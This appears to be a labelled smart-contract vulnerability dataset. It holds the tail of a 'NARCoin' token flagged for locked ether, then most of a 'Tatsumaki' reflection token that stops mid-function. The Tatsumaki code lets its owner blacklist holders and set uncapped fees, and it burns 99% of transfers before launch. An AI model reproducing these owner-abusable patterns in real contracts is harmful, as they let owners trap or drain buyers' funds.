require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract NARCoin is StandardToken, Ownable {
string public constant name = "New Art Coin";
string public constant symbol = "NAR";
uint256 public constant decimals = 18;
uint256 public constant UNIT = 10 ** decimals;
address public companyWallet;
address public backendWallet;
uint256 public maxSupply = 300000000 * UNIT;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
modifier onlyBackend() {
require(msg.sender == backendWallet);
_;
}
function NARCoin(address _companyWallet, address _backendWallet) public {
companyWallet = _companyWallet;
backendWallet = _backendWallet;
balances[companyWallet] = 150000000 * UNIT;
totalSupply_ = totalSupply_.add(150000000 * UNIT);
Transfer(address(0x0), _companyWallet, 150000000 * UNIT);
}
/**
* Change the backendWallet that is allowed to issue new tokens (used by server side)
* Or completely disabled backend unrevokable for all eternity by setting it to 0x0
*/
function setBackendWallet(address _backendWallet) public onlyOwner {
require(backendWallet != address(0));
backendWallet = _backendWallet;
}
function() public payable {
revert();
}
/***
* This function is used to transfer tokens that have been bought through other means (credit card, bitcoin, etc), and to burn tokens after the sale.
*/
function mint(address receiver, uint256 tokens) public onlyBackend {
require(totalSupply_ + tokens <= maxSupply);
balances[receiver] += tokens;
totalSupply_ += tokens;
Transfer(address(0x0), receiver, tokens);
}
function sendBonus(address receiver, uint256 bonus) public onlyBackend {
Transfer(companyWallet, receiver, bonus);
balances[companyWallet] = balances[companyWallet].sub(bonus);
balances[receiver] = balances[receiver].add(bonus);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
/**
*Submitted for verification at Etherscan.io on 2022-04-24
*/
/**
*Submitted for verification at Etherscan.io on 2021-12-28
*/
pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed 0x7b527bd019E9f745497F2cB51C658cb10E2C914F
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
// pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
/*
To be modified before deploying this contract for a project:
- Uniswap Router address if not on ETH
- Dev address
*/
contract Tastumaki is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcludedFromMax;
mapping (address => bool) private _isExcluded;
mapping (address => bool) isBlacklisted;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 10 * 10**9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
address private _devAddress = 0x597b45E8DaEd91c6b5241A1C7290cfac357776bf;
address private _burnAddress = 0x0000000000000000000000000000000000000001;
string private _name = "Tatsumaki";
string private _symbol = "TATSUMAKI";
uint8 private _decimals = 9;
uint256 public _taxFee = 1;
uint256 private _previousTaxFee = _taxFee;
uint256 public _devFee = 4;
uint256 private _previousDevFee = _devFee;
uint256 public _burnFee = 1;
uint256 private _previousBurnFee = _burnFee;
uint256 private _beforeLaunchFee = 99;
uint256 private _previousBeforeLaunchFee = _beforeLaunchFee;
uint256 public launchedAt;
uint256 public launchedAtTimestamp;
IUniswapV2Router02 public immutable uniswapV2Router;
address public uniswapV2Pair;
uint256 public _maxTxAmount = _tTotal.div(100).mul(1);
uint256 public _maxWalletToken = _tTotal.div(50).mul(1);
constructor () public {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
// exclude owner, dev wallet, and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_devAddress] = true;
_isExcludedFromMax[owner()] = true;
_isExcludedFromMax[address(this)] = true;
_isExcludedFromMax[_devAddress] = true;
_isExcludedFromMax[uniswapV2Pair] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function setIsBlacklisted(address account, bool blacklisted) external onlyOwner() {
isBlacklisted[account] = blacklisted;
}
function blacklistMultipleAccounts(address[] calldata accounts, bool blacklisted) external onlyOwner() {
for (uint256 i = 0; i < accounts.length; i++) {
isBlacklisted[accounts[i]] = blacklisted;
}
}
function isAccountBlacklisted(address account) external view returns (bool) {
return isBlacklisted[account];
}
function isExcludedFromMax(address holder, bool exempt) external onlyOwner() {
_isExcludedFromMax[holder] = exempt;
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function burnAddress() public view returns (address) {
return _burnAddress;
}
function devAddress() public view returns (address) {
return _devAddress;
}
function launch() public onlyOwner() {
require(launchedAt == 0, "Already launched.");
launchedAt = block.number;
launchedAtTimestamp = block.timestamp;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(,uint256 tFee, uint256 tDev, uint256 tBurn) = _getTValues(tAmount);
(uint256 rAmount,,) = _getRValues(tAmount, tFee, tDev, tBurn, _getRate());
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
(,uint256 tFee, uint256 tDev, uint256 tBurn) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount,) = _getRValues(tAmount, tFee, tDev, tBurn, _getRate());
if (!deductTransferFee) {
return rAmount;
} else {
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 tTransferAmount, uint256 tFee, uint256 tDev, uint256 tBurn) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tDev, tBurn, _getRate());
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeDevFee(tDev);
_takeBurnFee(tBurn);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function setBurnFeePercent(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setDevFeePercent(uint256 devFee) external onlyOwner() {
_devFee = devFee;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**2
);
}
function setMaxWalletPercent(uint256 maxWalletToken) external onlyOwner() {
_maxWalletToken = _tTotal.mul(maxWalletToken).div(
10**2
);
}
//to recieve ETH from uniswapV2Router when swapping
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tDev = calculateDevFee(tAmount);
uint256 tBurn = calculateBurnFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tDev);
tTransferAmount = tTransferAmount.sub(tBurn);
return (tTransferAmount, tFee, tDev, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tDev, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rDev = tDev.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rDev).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeDevFee(uint256 tDev) private {
uint256 currentRate = _getRate();
uint256 rDev = tDev.mul(currentRate);
_rOwned[_devAddress] = _rOwned[_devAddress].add(rDev);
if(_isExcluded[_devAddress])
_tOwned[_devAddress] = _tOwned[_devAddress].add(tDev);
}
function _takeBurnFee(uint256 tBurn) private {
uint256 currentRate = _getRate();
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[_burnAddress] = _rOwned[_burnAddress].add(rBurn);
if(_isExcluded[_burnAddress])
_tOwned[_burnAddress] = _tOwned[_burnAddress].add(tBurn);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
uint256 fee = launchedAt == 0 ? 0 : _taxFee;
return _amount.mul(fee).div(
10**2
);
}
function calculateDevFee(uint256 _amount) private view returns (uint256) {
uint256 fee = launchedAt == 0 ? 0 : _devFee;
return _amount.mul(fee).div(
10**2
);
}
function calculateBurnFee(uint256 _amount) private view returns (uint256) {
uint256 fee = launchedAt == 0 ? _beforeLaunchFee : _burnFee;
return _amount.mul(fee).div(
10**2
);
}
function removeAllFee() private {
if(_taxFee == 0 && _devFee == 0) return;
_previousTaxFee = _taxFee;
_previousDevFee = _devFee;
_previousBurnFee = _burnFee;
_previousBeforeLaunchFee = _beforeLaunchFee;
_taxFee = 0;
_devFee = 0;
_burnFee = 0;
_beforeLaunchFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_devFee = _previousDevFee;
_burnFee = _previousBurnFee;
_beforeLaunchFee = _previousBeforeLaunchFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isBlacklisted[from], "Blacklisted address");
if(!_isExcludedFromMax[from] || !_isExcludedFromMax[to]) {
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
if (!_isExcludedFromMax[to]) {
uint256 heldTokens = balanceOf(to);
require((heldTokens + amount) <= _maxWalletToken, "Total Holding is currently limited, you can not buy that much.");
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
